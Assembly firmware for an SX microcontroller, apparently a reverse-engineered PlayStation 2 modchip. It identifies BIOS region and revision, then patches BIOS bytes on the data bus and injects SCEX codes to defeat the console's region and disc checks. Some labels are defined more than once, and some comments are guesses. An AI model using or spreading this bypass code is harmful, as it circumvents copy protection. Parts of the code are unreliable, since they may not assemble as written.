;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED0 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 ; v14 and v0 support need this captured for x.00 of bios and extra compare 1 or 2 routine with current jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0 ; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb VAR_PATCH_FLAGS.5 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb VAR_SWITCH.5 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14 jmp BIOS_JAP ENDIF BIOS_UK setb VAR_PATCH_FLAGS.4 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb VAR_PATCH_FLAGS.6 RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp PS1_BOOT_MODE CHECK_IF_V9to14 setb VAR_PATCH_FLAGS.2 mov w,#$30 ; is bios 2.0 for v12 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb VAR_SWITCH.5 jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 ; is bios 2.2 for v14 75k decka mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync MODE_SELECT_START mov w,#$a mov VAR_DC2,w MODE_SELECT_TIMER_L1 call MODE_SELECT_TIMER snb IO_REST jmp TAP_BOOT_MODE decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w MODE_SELECT_TIMER_L3 call MODE_SELECT_TIMER decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w DISABLE_MODE call MODE_SELECT_TIMER sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep PS1_BOOT_MODE clr fsr clrb VAR_PATCH_FLAGS.2 TAP_BOOT_MODE snb VAR_SWITCH.4 page $0600 jmp DEV1_MODE_LOAD_START setb VAR_PATCH_FLAGS.1 clrb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.3 clrb VAR_SWITCH.1 page $0200 jmp PS2_MODE_START CHECK_IF_START_PS2LOGO clr fsr sb VAR_PATCH_FLAGS.2 page $0400 jmp START_PS2LOGO_PATCH_LOAD sb VAR_PATCH_FLAGS.2 jmp TRAY_IS_EJECTED TRAY_IS_EJECTED sb IO_REST jmp PS1_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w RESUME_MODE_FROM_EJECT_L2 mov w,#$3b mov rtcc,w RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp PS1_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_RB_IO_BUS_WAKE clr fsr snb VAR_SWITCH.4 page $0600 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_TOFFSET,w CONSOLE_2002_JMP page $0600 jmp START_CDDVD_PATCH PS1_MODE_START_PATCH clr fsr clrb VAR_PATCH_FLAGS.7 mov w,#$ff mov VAR_PSX_TEMP,w RUN_PS1_SCEX_INJECT call SEND_SCEX snb VAR_PATCH_FLAGS.7 jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP PS1_SCEX_INJECT_COMPLETE snb VAR_PATCH_FLAGS.0 jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14 mov w,#$1 mov VAR_TOFFSET,w PS1_IS_V14 snb VAR_SWITCH.5 ; check if VAR_SWITCH.5 set meaning v14/75k decka jmp PS1_V14_PATCH page $0400 jmp PS1_CONSOLE_PAL_YFIX PS1_V14_PATCH mov w,#$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr retp ; patching done. Return from call ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 retw $24 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL retw $24 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL retw $24 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL retw $24 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb VAR_SWITCH.0 jmp V12_CONSOLE_20_BIOS_JMP mov w,#$46 mov VAR_DC3,w retw $a4 retw $ec mov w,#$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL V12_CONSOLE_20_BIOS_JMP mov w,#$4d mov VAR_DC3,w retw $c retw $f9 BIOS_PATCH_DATA_PART2_ALL retw $91 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 retw $c7 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba retw $3c retw $c7 retw $2 retw $34 retw $19 retw $19 retw $c2 retw $bb retw $11 retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 PS2_MODE_START clr fsr sb VAR_PATCH_FLAGS.2 jmp CHECK_IF_V1_v2or3_V4_V5to8 snb VAR_SWITCH.5 page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#$b mov VAR_DC1,w mov w,#$59 jmp ALL_CONTIUNE_BIOS_PATCH CHECK_IF_V1_v2or3_V4_V5to8 clr fsr snb VAR_SWITCH.5 jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_TOFFSET,w jmp V1to8_CONTIUNE V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$c mov IO_BIOS_DATA,w V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_TOFFSET,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH V14_CONSOLE_22_BIOS setb VAR_PATCH_FLAGS.3 setb VAR_SWITCH.5 mov w,#$d4 mov VAR_DC3,w mov w,#$a9 mov VAR_TOFFSET,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_19_BIOS setb VAR_PATCH_FLAGS.3 mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_TOFFSET,w mov w,#$37 jmp ALL_CONTIUNE_BIOS_PATCH V12_CONSOLE_20_BIOS setb VAR_PATCH_FLAGS.3 setb VAR_SWITCH.0 mov w,#$7c mov VAR_DC3,w mov w,#$a9 mov VAR_TOFFSET,w mov w,#$37 ALL_CONTIUNE_BIOS_PATCH snb VAR_SWITCH.4 jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$15 mov fsr,w LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb VAR_PATCH_FLAGS.2 page $0000 jmp TRAY_IS_EJECTED SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb VAR_SWITCH.4 page $0600 jmp FINISHED_RUN_START snb VAR_SWITCH.1 page $0400 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_TOFFSET mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC Label_0097 mov w,#$34 ; ? likely some 75k patches? mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#$10 mov VAR_DC1,w mov w,#$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_RB_IO_BUS_WAKE POST_PATCH_4_MODE_START2 snb VAR_SWITCH.4 page $0600 jmp FINISHED_RUN_START_P2 mov w,#$64 mov VAR_TOFFSET,w POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_TOFFSET jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 snb VAR_SWITCH.3 jmp POST_PATCH4MODE_END_P2 mov w,#$15 mov fsr,w POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb VAR_PATCH_FLAGS.0 page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 POST_PATCH4MODE_END_P2 clrb VAR_SWITCH.3 jmp POST_PATCH_4_MODE_START2 PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb VAR_PATCH_FLAGS.2 ; jmp PS1_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w retw $0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#$33 mov VAR_DC3,w sb VAR_SWITCH.5 jmp PS2LOGO_PATCH_22_JMP1 mov w,#$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#$46 mov VAR_DC3,w snb VAR_SWITCH.5 jmp PS2LOGO_PATCH_22_JMP2 mov w,#$33 mov VAR_DC3,w PS2LOGO_PATCH_22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 